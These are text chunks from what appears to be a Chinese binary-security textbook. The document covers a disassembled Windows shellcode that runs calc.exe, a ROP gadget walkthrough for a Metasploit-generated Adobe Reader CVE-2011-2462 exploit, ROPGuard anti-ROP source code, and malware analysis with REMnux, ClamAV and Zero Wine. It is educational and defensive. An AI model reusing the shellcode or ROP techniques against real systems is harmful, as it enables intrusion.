[eax+20h] seg000:00000048 add ebx, edx seg000:0000004A seg000:0000004A loc_4A: seg000:0000004A jecxz short loc_88 seg000:0000004C dec ecx seg000:0000004D mov esi, [ebx+ecx*4] seg000:00000050 add esi, edx seg000:00000052 xor edi, edi seg000:00000054 seg000:00000054 loc_54: seg000:00000054 xor eax, eax seg000:00000056 lodsb seg000:00000057 ror edi, 0Dh seg000:0000005A add edi, eax seg000:0000005C cmp al, ah seg000:0000005E jnz short loc_54 seg000:00000060 add edi, [ebp-8] seg000:00000063 cmp edi, [ebp+24h] seg000:00000066 jnz short loc_4A seg000:00000068 pop eax seg000:00000069 mov ebx, [eax+24h] seg000:0000006C add ebx, edx seg000:0000006E mov cx, [ebx+ecx*2] seg000:00000072 mov ebx, [eax+1Ch] seg000:00000075 add ebx, edx seg000:00000077 mov eax, [ebx+ecx*4] seg000:0000007A add eax, edx seg000:0000007C mov [esp+24h], eax seg000:00000080 pop ebx seg000:00000081 pop ebx seg000:00000082 popa seg000:00000083 pop ecx seg000:00000084 pop edx seg000:00000085 push ecx seg000:00000086 jmp eax seg000:00000088 seg000:00000088 loc_88: seg000:00000088 pop eax seg000:00000089 seg000:00000089 loc_89: seg000:00000089 pop edi seg000:0000008A pop edx seg000:0000008B mov edx, [edx] seg000:0000008D jmp short loc_15 seg000:0000008F seg000:0000008F loc_8F: seg000:0000008F pop ebp seg000:00000090 push 1 seg000:00000092 lea eax, [ebp+0B9h] seg000:00000098 push eax seg000:00000099 push 876F8B31h seg000:0000009E call ebp seg000:000000A0 mov ebx, 56A2B5F0h seg000:000000A5 push 9DBD95A6h seg000:000000AA call ebp seg000:000000AC cmp al, 6 seg000:000000AE jl short loc_BA seg000:000000B0 cmp bl, 0E0h seg000:000000B3 jnz short loc_BA seg000:000000B5 mov ebx, 6F721347h seg000:000000BA seg000:000000BA loc_BA: seg000:000000BA seg000:000000BA push 0 seg000:000000BC push ebx seg000:000000BD call ebp seg000:000000BD seg000:000000BF db 63h seg000:000000C0 db 61h ; a seg000:000000C1 db 6Ch ; l seg000:000000C2 db 63h ; c seg000:000000C3 db 2Eh ; . seg000:000000C4 db 65h seg000:000000C5 db 78h ; x seg000:000000C6 db 65h ; e seg000:000000C7 db 0 seg000:000000C7 seg000 ends 通过阅读工具生成出来的代码，大家可以对 shellcode 进一步加深理解。"},
    {"text": "Adobe Reader U3D Memory Corruption Vulnerability http://www.rapid7.com/db/modules/exploit/windows/fileformat/adobe_reader_u3d ▲ 用 Metasploit 生成 CVE-2011-2462 的攻击代码 接下来，我们将 OllyDbg 设为实时调试器。"},
    {"text": "▲ rt3d.dll 中的 CALL DWORD PTR DS:[EAX+1C] 顾名思义，ROP（面向返回编程）就是将一些以返回（ret 指令）结束的代码片段拼接起来，从而实现真正期望的逻辑。"},
    {"text": "▲ 通过 ROP 运行代码片段 // 代码 4A806CEF 94 XCHG EAX,ESP 4A806CF0 C0EB 02 SHR BL,2 4A806CF3 32C0 XOR AL,AL 4A806CF5 5F POP EDI 4A806CF6 5E POP ESI 4A806CF7 C3 RETN // 栈 0C0C0C0C 0C0C0C0C POP EDI 0C0C0C10 0C0C0C0C POP ESI 0C0C0C14 4A806F29 下一个跳转目标 4A806CEF 的 XCHG EAX,ESP 使得 ESP=0C0C0C0C，然后是两条 POP 指令，最后跳转到 4A806F29。"},
    {"text": "// 代码 4A806F29 5F POP EDI 4A806F2A 5E POP ESI 4A806F2B 5D POP EBP 4A806F2C C2 1400 RETN 14 // 栈 0C0C0C18 4A8A0000 POP EDI 0C0C0C1C 4A802196 POP ESI 0C0C0C20 4A801F90 POP EBP 0C0C0C24 4A806F29 下一个跳转目标 返回 4A806F29 之后，又是 3 条 POP 指令，接下来执行 RETN 14。"},
    {"text": "4A8063A5 59 POP ECX 4A8063A6 C3 RETN 4A802196 8901 MOV DWORD PTR DS:[ECX],EAX 4A802198 C3 RETN 4A801F90 58 POP EAX ; <&KERNEL32.CreateFileA> 4A801F91 C3 RETN 用 RETN 跳转到 CALL EAX 时，就可以调用 CreateFileA。"},
    {"text": "5.2 用 EMET 观察反 ROP 的机制 5.2.1 什么是 EMET EMET 全称为 Enhanced Mitigation Experience Toolkit（增强减灾体验工具），是微软发布的一款免费的漏洞缓解工具。"},
    {"text": "Introducing EMET v4 Beta http://blogs.technet.com/b/srd/archive/2013/04/18/introducing-emet-v4-beta.aspx EMET 中比较有意思的一个功能是 3.5 版中在现有功能基础上新增的反 ROP（Anti-ROP）机制。 第 3 章中我们已经介绍过，现在的操作系统中默认都开启了 ASLR、DEP（Exec-Shield）等安全机制，因此作为新的攻击手段，ROP 正越来越受到重视，而 EMET 正是最早提出并实现反 ROP 机制的工具。 5.2.2 Anti-ROP 的设计获得了蓝帽奖 EMET 中的 Anti-ROP 曾在微软 2012 年举办的计算机安全方案大赛“蓝帽奖”（BlueHat Prize）中获奖。"},
    {"text": "kBouncer: Efficient and Transparent ROP Mitigation http://www.cs.columbia.edu/~vpappas/papers/kbouncer.pdf ROPGuard - runtime prevention of return-oriented programming attacks http://ifsec.blogspot.jp/2012/08/my-bluehat-prize-entry-ropguard-runtime.html BlueHat Prize Submission:/ROP http://www.vdalabs.com/tools/DeMott_BlueHat_Submission.pdf 5.2.3 如何防止攻击 “如何保护应用程序不受新方法的攻击”，这不但是蓝帽奖的主题，同时也是安全研究人员的共同课题。"},
    {"text": "保护应用程序不受各种漏洞的影响 设计出不会产生漏洞的架构 作为蓝帽奖获奖方案之一的“ROPGuard - runtime prevention of return-oriented programming attacks”为我们提出了一种非常实用的应对 ROP 的方法。"},
    {"text": "我们知道，CALL 用来调用子程序，而在子程序的结尾，（大部分情况下）都会执行 RETN，而子程序结尾的 RETN 所返回的目标地址，应该就是 CALL 指令的下面一条指令。"},
    {"text": "然而，在 Return-into-libc 攻击中，RETN 会跳转到函数的开头，而 ROP 攻击中则使用了非常多的 RETN，这些都会导致出现“RETN 并不是返回 CALL 的下一条指令”的情况。"},
    {"text": "load_rg.exe（ropguard.exe） ropguard.dll（ropguarddll.dll） load_rg.exe 实质上只是一个加载器，真正关于 Anti-ROP 的逻辑都在 ropguard.dll 中。"},
    {"text": "main.cpp（load_rg\\main.cpp） createprocess.cpp（common\\createprocess.cpp） patchentrypoint.cpp（common\\patchentrypoint.cpp） debug.cpp（common\\debug.cpp） 其中 main.cpp 主要包含 main 函数以及相关逻辑，它的功能是从参数中获取进程 ID 或者可执行文件的路径，然后向目标进程注入 DLL（ropguard.dll）。"},
    {"text": "向目标进程注入 DLL 劫持 CreateProcessInternalW，让进程暂停运行（添加 CREATE_SUSPENDED 标志） CreateProcessInternalW 的钩子用于 DLL 中的逻辑，加载器并不使用它。"},
    {"text": "此外，请大家同时确认一下 patchentrypoint.cpp，这个程序中的 PatchEntryPoint 函数可以将其他函数的入口临时改为死循环（FB FE），目的是等待 DLL 注入完成。"},
    {"text": "▼ kernel32:WinExec（打补丁前） 7C8623AD > 8BFF MOV EDI,EDI 7C8623AF 55 PUSH EBP 7C8623B0 8BEC MOV EBP,ESP 7C8623B2 83EC 54 SUB ESP,54 7C8623B5 53 PUSH EBX 我们将开头的 5 个字节改为 jmp 指令看看。 ▼ kernel32:WinExec（打补丁后） 7C8623AD >-E9 4EDC2D84 JMP 00B40000 7C8623B2 83EC 54 SUB ESP,54 7C8623B5 53 PUSH EBX 由于 jmp 指令需要占用 5 个字节，因此函数开头原本的内容会被覆盖。 MOV EDI,EDI PUSH EBP MOV EBP,ESP 上面的内容会被替换成 JMP 00B40000。"},
    {"text": "// 00B40000 00B40000 81EC 04000000 SUB ESP,4 00B40006 60 PUSHAD 00B40007 54 PUSH ESP 00B40008 68 F876D329 PUSH 29D376F8 00B4000D E8 7E344C0F CALL ropguard.10003490 00B40012 81C4 24000000 ADD ESP,24 00B40018 8BFF MOV EDI,EDI 00B4001A 55 PUSH EBP 00B4001B 8BEC MOV EBP,ESP 00B4001D -E9 9023D27B JMP kernel32.7C8623B2 最后的 JMP kernel32.7C8623B2 会跳转到 WinExec 开头的 jmp 指令后面。"},
    {"text": "▼ ropcheck.cpp // ropcheck.cpp #include <stdio.h> #include <windows.h> #include \"ropsettings.h\" #include \"debug.h\" #include <iostream> #include <fstream> #include <string> #include <sstream> using namespace std; void ReportPossibleROP(string &report) { string messageboxtext; messageboxtext = \"\" \"ROPGuard has detected a possible threat.\\n\" \"Problem details:\\n\\n\" + report; if(MessageBoxA(GetForegroundWindow(), messageboxtext.c_str(), \"ROPGuard\", MB_OKCANCEL) == IDOK) { ExitProcess(1); } } int PrecededByCall(unsigned char *address) { if(*(address-5) == 0xE8) return 1; // ROP检查子程序，在CheckReturnAddress中调用 return 0; } int CheckReturnAddress( DWORD returnAddress, DWORD functionAddress, DWORD *registers) { if(!PrecededByCall((unsigned char *)returnAddress)){ stringstream errorreport; // 调用CheckReturnAddress errorreport << \"Return address not preceded by call.\\n\"; errorreport << \"Return address: \" << std::hex << returnAddress; ReportPossibleROP(errorreport.str()); return 0; } return 1; } void __stdcall ROPCheck( unsigned long functionAddress, unsigned long *registers) { if(!protectionEnabled) return; unsigned long framePointer = registers[2]; unsigned long stackPointer = registers[3]; int i; int numFunctions = GetNumGuardedFunctions(); ROPGuardedFunction *guardedFunctions = GetGuardedFunctions(); ROPGuardedFunction *currentFunction = NULL; for(i=0; i < numFunctions; i++){ if(guardedFunctions[i].originalAddress == functionAddress){ currentFunction = &(guardedFunctions[i]); break; } } if(!currentFunction){ return; } DWORD returnAddress = *((DWORD *) (stackPointer + GetROPSettings()->preserveStack)); if(!CheckReturnAddress(returnAddress, functionAddress, registers)) // 开始检查 return; // 在此处添加新的检查代码 return; } 用汇编语言来表示 call 指令需要占用 5 个字节。"},
    {"text": "00469127 |. 3D 21210000 CMP EAX,2121 0046912C |. 72 0E JB SHORT 0046913C 0046912E E8 5DFF4990 CALL 90909090 // 占用5个字节 00469133 90 NOP 00469134 90 NOP 也就是 E8 + 调用地址，一共 5 个字节。"},
    {"text": "由于这 5 个字节肯定是以 E8 开头的，因此 PrecededByCall 中会判断“返回目标地址向前 5 个字节是否为 E8”，如果是则返回 1，代表检测到匹配的 call 指令，属于正常调用的返回。"},
    {"text": "5.2.7 如何防止误判 这样简单粗暴的方法貌似很容易误判，因为并非所有的 call 都是 5 个字节。 ▼ 2 个字节的情况 00469127 |. 3D 21210000 CMP EAX,2121 0046912C |. 72 0E JB SHORT 0046913C 0046912E FFD0 CALL EAX 只有2个字节 00469130 90 NOP 00469131 90 NOP ▼ 还有 7 个字节的情况 00469127 3D 21210000 CMP EAX,2121 0046912C 72 0E JB SHORT 0046913C 0046912E 9A 90909090 9090 CALL FAR 9090:90909090 00469135 90 NOP 7个字节也可以 00469136 90 NOP 要防止误判，必须考虑到所有不同长度的 call 指令以及不同的指令值。"},
    {"text": "int CheckStackPointer(unsigned long stackPtr) { unsigned long stackBottom, stackTop; GetStackInfo(&stackBottom, &stackTop); if((stackPtr < stackBottom) || (stackTop < stackPtr)){ stringstream errorreport; errorreport << \"Stack pointer is \"; errorreport << \"outside of stack. Stack address:\\n\"; errorreport << std::hex << stackPtr; ReportPossibleROP(errorreport.str()); return 0; } return 1; } 上面的程序可以获取栈的上限和下限地址，并检查 esp 是否位于该范围内。"},
    {"text": "int CheckStackFrames(DWORD *stackPtr, DWORD *framePtr) { DWORD *returnAddress; DWORD *newFramePtr; DWORD *originalFramePtr; unsigned long stackBottom, stackTop; GetStackInfo(&stackBottom, &stackTop); originalFramePtr = framePtr; // frame pointer must point to the stack if(((unsigned long)framePtr < stackBottom) || ((unsigned long)framePtr > stackTop)) { stringstream errorreport; errorreport << \"Return address not \"; errorreport << \"preceded by call. Frame pointer:\\n\"; errorreport << std::hex << (unsigned long)framePtr; ReportPossibleROP(errorreport.str()); return 0; } if(((unsigned long)framePtr) < ((unsigned long)stackPtr)){ stringstream errorreport; errorreport << \"Frame pointer is above stack pointer on stack\"; errorreport << \" Stack pointer: \"; errorreport << std::hex << (unsigned long)stackPtr; errorreport << \" Frame pointer: \"; errorreport << std::hex << (unsigned long)framePtr; ReportPossibleROP(errorreport.str()); return 0; } 另外，函数的返回目标地址是存放在栈中的，因此我们可以通过 ebp 进行回溯，找到上一个和再上一个返回目标地址。"},
    {"text": "for(unsigned int i=0; i<GetROPSettings()->maxStackFrames; i++){ newFramePtr = (DWORD *)(*(framePtr)); returnAddress = (DWORD *)(*(framePtr+1)); if(!returnAddress) break; if(!PrecededByCall((unsigned char *)returnAddress)) { stringstream errorreport; errorreport << \"Return address not preceded by call.\"; errorreport << \" Return address: \"; errorreport << std::hex << (unsigned long) returnAddress; errorreport << \" Frame pointer: \"; errorreport << std::hex << (unsigned long)framePtr; errorreport << \" Original frame pointer: \"; errorreport << std::hex << (unsigned long) originalFramePtr; ReportPossibleROP(errorreport.str()); return 0; } if(((unsigned long)newFramePtr < stackBottom) || ((unsigned long)newFramePtr > stackTop)) { stringstream errorreport; errorreport << \"Frame pointer is outside of stack.\"; errorreport << \" Frame pointer: \"; errorreport << std::hex << (unsigned long)framePtr; errorreport << \" Original frame pointer: \"; errorreport << std::hex << (unsigned long) originalFramePtr; ReportPossibleROP(errorreport.str()); return 0; } if((unsigned long)newFramePtr <= (unsigned long)framePtr){ stringstream errorreport; errorreport << \"Next frame pointer is not \"; errorreport << \"below the previous one on stack.\"; errorreport << \" Frame pointer: \"; errorreport << std::hex << (unsigned long)framePtr; errorreport << \" Original frame pointer: \"; errorreport << std::hex << (unsigned long) originalFramePtr; ReportPossibleROP(errorreport.str()); return 0; } framePtr = newFramePtr; } return 1; 上面我们看了一些 ROP 检查的例子。"},
    {"text": "5.3 用 REMnux 分析恶意软件 5.3.1 什么是 REMnux 刚才我们介绍了关于漏洞和攻击的知识，接下来我们来看一看恶意软件。 REMnux 是一个用于分析恶意软件的操作系统，基于 Ubuntu 开发，主要用于在 VMware 等虚拟环境下运行。"},
    {"text": "REMnux http://zeltser.com/remnux/ http://sourceforge.net/projects/remnux/files/version3/ ▲ 在 VMware 上运行 REMnux 用户名和密码如下所示。 用户名：remnux 密码：malware 由于这是一个基于 Ubuntu 的系统，因此用 root 运行程序时需要使用 sudo 命令。"},
    {"text": "▼ 运行示例 $ sudo freshclam [sudo] password for remnux: malware 输入密码 ClamAV update process started at Sat May 19 13:54:14 2012 省略 WARNING: Incremental update failed, trying to download daily.cvd Downloading daily.cvd [100%] Downloading bytecode-158.cdiff [100%] 省略 Downloading bytecode-180.cdiff [100%] 省略 5.3.3 扫描目录 下面我们来扫描恶意软件。"},
    {"text": "▼ 运行示例 $ clamscan jsunpackn/ jsunpackn/CHANGELOG: OK jsunpackn/COPYING: OK jsunpackn/INSTALL: OK jsunpackn/INSTALL.spidermonkey: OK jsunpackn/INSTALL.spidermonkey.shellcode: OK 省略 jsunpackn/rules: OK jsunpackn/rules.ascii: OK jsunpackn/samples.tgz: Exploit.PDF-4897 FOUND 发现 jsunpackn/swf.py: OK jsunpackn/urlattr.py: OK ----------- SCAN SUMMARY ----------- Known viruses: 1217159 Engine version: 0.97.3 Scanned directories: 1 Scanned files: 23 Infected files: 1 Data scanned: 0.46 MB Data read: 2.30 MB (ratio 0.20:1) Time: 3.824 sec (0 m 3 s) 我们在 jsunpackn 目录中检测到了一个恶意软件，位于 jsunpackn/samples.tgz，类型为 Exploit.PDF-4897。"},
    {"text": "REMnux 不仅能检测 x86 和 Windows 上的恶意软件，还能够检测出 Android 上的恶意软件，例如非常有名的 DroidDream。 ▼ 运行示例 $ clamscan DDream-444578756853741426-Super.apk DDream-444578756853741426-Super.apk: Exploit.Andr.Lotoor-8 FOUND ----------- SCAN SUMMARY ----------- Known viruses: 1217159 Engine version: 0.97.3 Scanned directories: 0 Scanned files: 1 Infected files: 1 Data scanned: 0.04 MB Data read: 1.58 MB (ratio 0.03:1) Time: 3.797 sec (0 m 3 s) 由于 REMnux 是基于特征库来工作的，因此无法应对新的恶意软件，但它的魅力在于检测恶意软件非常方便。"},
    {"text": "5.4 用 ClamAV 检测恶意软件和漏洞攻击 5.4.1 ClamAV 的特征文件 我们刚才使用的 clamscan 命令，实际上是调用 GPL 协议的反病毒软件 ClamAV 对恶意软件和漏洞攻击进行扫描的。"},
    {"text": "ClamAV http://www.clamav.net/ ClamAV 的特征文件是持续更新的，从上面的官方网站可以下载到最新的版本。 ▲ ClamAV 特征文件下载 这里发布的特征文件扩展名为 .cvd，其中 main.cvd 为基本数据库，daily.cvd 为每日新增的特征数据库。"},
    {"text": "使用文件整体的散列值 使用文件内部特定的数据序列 为了避免误判设置某些白名单 ClamAV 的特点是，上述各项功能都是通过单独的文件分别实现的。"},
    {"text": "Creating signatures for ClamAV http://www.clamav.net/doc/latest/signatures.pdf 5.4.2 解压缩 .cvd 文件 .cvd 文件实际上是通过 tar.gz 压缩的，我们将文件开头的 512 个字节删掉之后，就可以用 tar 命令解压缩了。"},
    {"text": "▼ 运行示例 $ cp main.cvd main.tar.gz $ tar zxvf main.tar.gz $ ls COPYING main.db main.hdb main.mdb main.tar.gz main.cvd main.fp main.info main.ndb main.zmd 这里面的文件都是文本格式，打开之后我们可以看到里面包含了文件散列值、特定数据序列以及恶意软件的名称等信息。"},
    {"text": "▲ 用文本编辑器打开 main.db 5.4.3 被检测到的文件详细信息 我们用 clamscan 可以对文件进行扫描和检测，如果需要更详细的信息，还需要使用其他一些命令。"},
    {"text": "▼ 运行示例 $ trid mal.exe TrID/32 - File Identifier v2.00/Linux - (C) 2003-06 By M.Pontello Definitions found: 3887 Analyzing... Collecting data from file: mal.exe 38.4% (.EXE) Win32 Executable Generic (8527/13/3) 34.1% (.DLL) Win32 Dynamic Link Library (generic) (7583/30/2) 9.3% (.EXE) Win16/32 Executable Delphi generic (2072/23) 9.0% (.EXE) Generic Win/DOS Executable (2002/3) 9.0% (.EXE) DOS Executable Generic (2000/1) 通过这个示例我们可以看出，mal.exe 为 .EXE 或者 .DLL 文件的可能性最高。 实际上，mal.exe 就是一个 Win32 Executable Generic 文件。"},
    {"text": "5.4.4 检测所使用的打包器以及疑似恶意软件的文件 使用 pescanner 命令可以根据文件的元数据检测出所使用的打包器或者疑似恶意软件的文件。"},
    {"text": "▼ 运行示例 $ pescanner mal.exe Meta-data ============================================= File: mal.exe Size: 12345 bytes Type: PE32 executable for MS Windows (GUI) Intel 80386 32-bit MD5: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx SHA1: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ssdeep: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx Date: 0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC] [SUSPICIOUS] EP: 0x418001 .aspack 6/8 [SUSPICIOUS] CRC: Claimed: 0x0, Actual: 0xa62f [SUSPICIOUS] Signature scans ============================================= Clamav: mal.exe: Trojan.Spy-68202 FOUND 其中标有“SUSPICIOUS”的项目表示“可疑”，也就是说，这里的信息有可能是假的（有可能是恶意软件）。"},
    {"text": "5.5 用 Zero Wine Tryouts 分析恶意软件 5.5.1 REMnux 与 Zero Wine Tryouts 的区别 Zero Wine Tryouts 是另外一个恶意软件分析工具，它的原理和 REMnux 不同。 Zero Wine Tryouts 是一个开源的自动分析工具，只要将文件上传上去就可以显示结果，非常方便。"},
    {"text": "Report ：API 函数调用日志 File headers ：文件头以及相应的特征信息 File strings ：文件所包含的字符串 Signatures ：文件的特征码 Differences ：运行前后发生变化的文件和注册表日志 ▼ Report 0009:Starting process L\"C:\\\\***.exe\" (entryproc=0x418001) 0009:Call KERNEL32.GetModuleHandleA(004190d4 \"kernel32.dll\") ret=00418045 0009:Call KERNEL32.GetProcAddress (7edb0000,004190e1 \"VirtualAlloc\") ret=0041805b 0009:Call KERNEL32.GetProcAddress (7edb0000,004190ee \"VirtualFree\") ret=0041806f 0009:Call KERNEL32.VirtualAlloc (00000000,00001800,00001000,00000004) ret=004180c2 trace:loaddll:free_modref Unloaded module L\"C:\\\\windows\\\\system32\\\\uxtheme.dll\" : builtin 0009:Call KERNEL32.VirtualAlloc (00000000,00011f0e,00001000,00000004) ret=004180e0 000d:Call advapi32.RegOpenKeyExW (00000044,7ec6b3e6 L\"ProgID\",00000000,00020019,001334c4) ret=7ebff396 000d:Call advapi32.RegGetValueW (00000044,00000000,7ec6b4c0 L\"Content Type\", 00000002,00000000,00000000,0033f68c) ret=7ec00379 000d:Call KERNEL32.InterlockedDecrement(001334bc) ret=7ebff0c3 000d:Call advapi32.RegCloseKey(00000044) ret=7ebff18b 000d:Call advapi32.RegCloseKey(00000000) ret=7ebff19c trace:loaddll:free_modref Unloaded module L\"C:\\\\windows\\\\system32\\\\shlwapi.dll\" : builtin 省略 ▼ File headers ----------TrID Signatures---------- 38.4% (.EXE) Win32 Executable Generic (8527/13/3) 34.1% (.DLL) Win32 Dynamic Link Library (generic) (7583/30/2) 9.3% (.EXE) Win16/32 Executable Delphi generic (2072/23) 9.0% (.EXE) Generic Win/DOS Executable (2002/3) 9.0% (.EXE) DOS Executable Generic (2000/1) ----------PEiD Signatures---------- ASPack 2.11 -> Solodovnikov Alexey ----------Parsing Warnings---------- Imported symbols contain entries typical of packed executables. ----------DOS_HEADER---------- [IMAGE_DOS_HEADER] 0x0 0x0 e_magic: 0x5A4D 0x2 0x2 e_cblp: 0x50 省略 ▼ File strings 省略 kernel32.dll VirtualAlloc VirtualFree ExitProcess user32.dll MessageBoxA wsprintfA LOADER ERROR The procedure entry point %s could not be located in the dynamic link library %sThe ordinal %u could not be located in the dynamic link library %s kernel32.dll GetProcAddress GetModuleHandleA LoadLibraryA 省略 ▼ Signature 0009:Starting process L\"C:\\\\***.exe\" (entryproc=0x418001) End of signature. See report for more information. ▼ Differences /home/malware/.wine/.update-timestamp c:/***.exe --- /home/malware/.winebackup/system.reg 2010-07-24 05:35:43.000000000 +0200 +++ /home/malware/.wine/system.reg 2012-05-22 14:22:56.000000000 +0200 @@ -14296 +14296 @@ -[Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Fonts] 1279942537 +[Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Fonts] 1337689369 @@ -19182 +19182 @@ -[Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Fonts] 1279942537 +[Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Fonts] 1337689369 @@ -20321 +20321 @@ 省略 和 REMnux 不同的是，Zero Wine 可以将运行日志总结成报告，因此对于静态分析所无法触及的部分十分有效。"},
    {"text": "同时具备安全和编程两方面技术的人们进行了长年累月的研究和开发，托他们的福，现在我们终于可以比较轻松地进行二进制分析和安全调查了。"},
    {"text": "McAfee Q1 Threats Report Reveals Surge in Malware and Drop in SPAM http://www.mcafee.com/cn/about/news/2011/q2/20110601-01.aspx 因此，我们必须尽可能地让恶意软件的分析实现自动化，以减少人工作业的比例。"},
    {"text": "5.6.2 启发式技术革命 出于上述原因，在恶意软件的检测方面亟需技术创新。 目前，对恶意软件的“行为检测”，即启发式技术，正在受到广泛的关注。"},
    {"text": "“频繁访问注册表的行为，疑似恶意软件” “频繁收发小的网络数据包，疑似恶意软件” 像上面这样，启发式技术是对恶意软件的行为特征进行归类，并将符合这些特征的软件判定为恶意软件。"},
    {"text": "▼ AdobeMalwareClassifier.py Results on dataset of ~130000 dirty, ~ 16000 clean files: (False Positives, True Negatives, True Positives, rates J48 FP TN TP FN TP Rate FP Rate Accuracy 7683 37171 130302 3451 0.97419871 0.171289071 0.937662018 J48Graft FP TN TP FN TP Rate FP Rate Accuracy 6780 38074 129087 4666 0.96511480 0.151157087 0.935915166 PART FP TN TP FN TP Rate FP Rate Accuracy 7074 36492 125060 9412 0.93000773 0.162374329 0.907401791 Ridor FP TN TP FN TP Rate FP Rate Accuracy 7390 37935 114194 20930 0.84510523 0.163044677 0.843058149 这里是对大约 13 万个恶意软件和 16000 个正常软件进行测试，并统计每个检测算法的准确率。"},
    {"text": "FP（False Positive，假阳性）：将正常文件误判为恶意软件 TN（True Negative，真阴性）：将正常文件判定为正常文件 TP（True Positive，真阳性）：将恶意软件判定为恶意软件 FN（False Negative，假阴性）：将恶意软件判定为正常文件 TP Rate 表示将恶意软件判定为恶意软件的概率，其计算公式为 TP÷(TP+FN)，即 130302÷(130302+3451)=0.97419871。 反之，FP Rate 则表示将正常文件误判为恶意软件的概率，结果为 0.171289071。"},
    {"text": "将恶意软件判定为恶意软件的概率（真阳性）：90% 以上 将正常文件判定为正常文件的概率（真阴性）：不到 85% 85% 和 90% 代表每 10 次就会误判一次，不过也许可以通过四个算法进行独立评分来弥补一下。"},
    {"text": "▼ 运行示例 C:\\>AdobeMalwareClassifier.py -v -f wsample01a.exe Starting dump of wsample01a.exe DebugSize: 28 ImageVersion: 0 IatRVA: 8868 ExportSize: 0 ResourceSize: 436 VirtualSize2: 1720 NumberOfSections:5 Stop Processing all... 1 J48算法的检测结果 1 J48Graft算法的检测结果 1 PART算法的检测结果 0 Ridor算法的检测结果 UNKNOWN 最终结果 在运行工具时加上 -v 选项，可以显示出评分过程中所用到的值。"},
    {"text": "从上面的例子可以看出，启发式恶意软件检测技术不同于传统的黑名单方式，误判率很高，因此到现在也未能成为一种确实有效的检测手段。 如果大家对安全技术，尤其是对恶意软件方面的技术感兴趣，而且有机会从事相关研究，那么启发式技术可以说是一个非常有趣的研究方向。"},
    {"text": "附录 A.1 安装 IDA IDA 的 Demo 版和免费版都可以从官方网站进行下载。 https://www.hex-rays.com/products/ida/support/download.shtml Demo 版的版本比较新，但其功能有所限制，如果没有什么特别的原因，还是建议使用免费版。 IDA 目前（2013/05）的最新版本为 6.4，免费版为比较老的 5.0 版本。"},
    {"text": "▲ IDA 网页（ https://www.hex-rays.com/products/ida/support/download.shtml ） 从 Demo 版的链接 IDA demo download 点进去，可以找到免费版 IDA 5.0 Freeware 的下载链接，点击进入下载页面。"},
    {"text": "▲ 选择安装目录 ▲ 选择是否创建快捷方式 ▲ 安装配置确认 ▲ 安装开始 ▲ 安装结束 如果选择创建快捷方式（Create a desktop icon），安装程序会在桌面上放置一个图标。"},
    {"text": "▲ OllyDbg 网页（ http://www.ollydbg.de/ ） OllyDbg 没有安装程序，只要将下载的 ZIP 压缩包解压缩，将其中的文件复制到任意目录就可以使用了。"},
    {"text": "WinDbg（32 位版） https://msdn.microsoft.com/zh-cn/windows/hardware/gg463016 WinDbg（64 位版） http://msdn.microsoft.com/zh-cn/windows/hardware/gg463012 ▲ 32 位版 Debugging Tools for Windows 网页 老版本可以在网页的最下方找到下载链接。"},
    {"text": "1 目前微软官方已不提供 Visual Studio 2010 的下载，各位读者只能从第三方渠道获取，或者使用最新的 Visual Studio 2013/2015 Community 版本。 ——译者注 ▲ Visual Studio 2010 下载页面 （ http://www.microsoft.com/visualstudio/eng/downloads#d-2010-express 2 ） 2 本网址已被重定向到 Visual Studio 的门户页面。 ——译者注 如果要使用 Visual Studio 2012 Express 版，可以从以下网站下载 for Windows Desktop 的版本（可用于 Windows 7 及更高版本系统）。 Visual Studio Express 2012 products http://www.microsoft.com/visualstudio/eng/products/visual-studio-express-products 3 3 本网址已被重定向到 Visual Studio 的门户页面。"},
    {"text": "请大家从菜单中选择 Help → Register Product，从弹出的网页获取注册密钥。 ▲ 注册产品 创建一个 Microsoft 账户，并在登录状态下点击 Obtain a registration key online，画面上会显示出注册密钥。 将密钥输入上面的对话框，就可以完成注册了。"},
    {"text": "▲ 搜索 CVE 1 ▲ 搜索 CVE 2 Metasploit 是一个博大精深的工具，关于它的内容可以写成一本书，如果有兴趣深入学习的话，推荐大家读一读这本书。"},
    {"text": "Metasploit The Penetration Tester's Guide 4 http://shop.oreilly.com/product/9781593272883.do 4 本书中文版名为《Metasploit 渗透测试指南》，电子工业出版社，2012 年出版。"},
    {"text": "▲ Stirling （ http://www.vector.co.jp/soft/win95/util/se079072.html ） ▲ BZ Editor （ http://www.vector.co.jp/soft/win95/util/se032859.html ） Process Monitor 这是一个对指定进程的文件、注册表访问进行监控的工具，可以从 Windows Sysinternals 进行下载。 ▲ Process Monitor （ https://technet.microsoft.com/en-us/sysinternals/bb896645 ） Process Explorer 这是一个用来确认当前运行中的进程之间的父子关系以及各进程详细信息的工具，可以理解为是一个高级版的任务管理器。 ▲ Process Explorer （ https://technet.micosoft.com/en-us/sysinternals/bb896653.aspx ） Sysinternals 工具 Windows Sysinternals 中还提供了一些本书中没有介绍到的工具，大家可以从 Utilities Index 页面上找到所有工具的列表。 Windows Sysinternals (Utilities Index) https://technet.microsoft.com/en-us/sysinternals/bb545027 这里面有很多有意思的工具，主要包括文件访问、进程监控、网络、安全等方面。"},
    {"text": "兔耳旋风 兔耳旋风是一个用于查看和修改进程内存空间的工具，它和一般的调试器在方向性上有些差异。 ▲ 兔耳旋风（うさみみハリケーン） （ http://www.vector.co.jp/soft/win95/prog/se375830.html ） 这个工具有一些一般调试器所不具备的功能，例如对进程挂载任意代码和 DLL、查看某个特定地址中值的变更履历等。"},
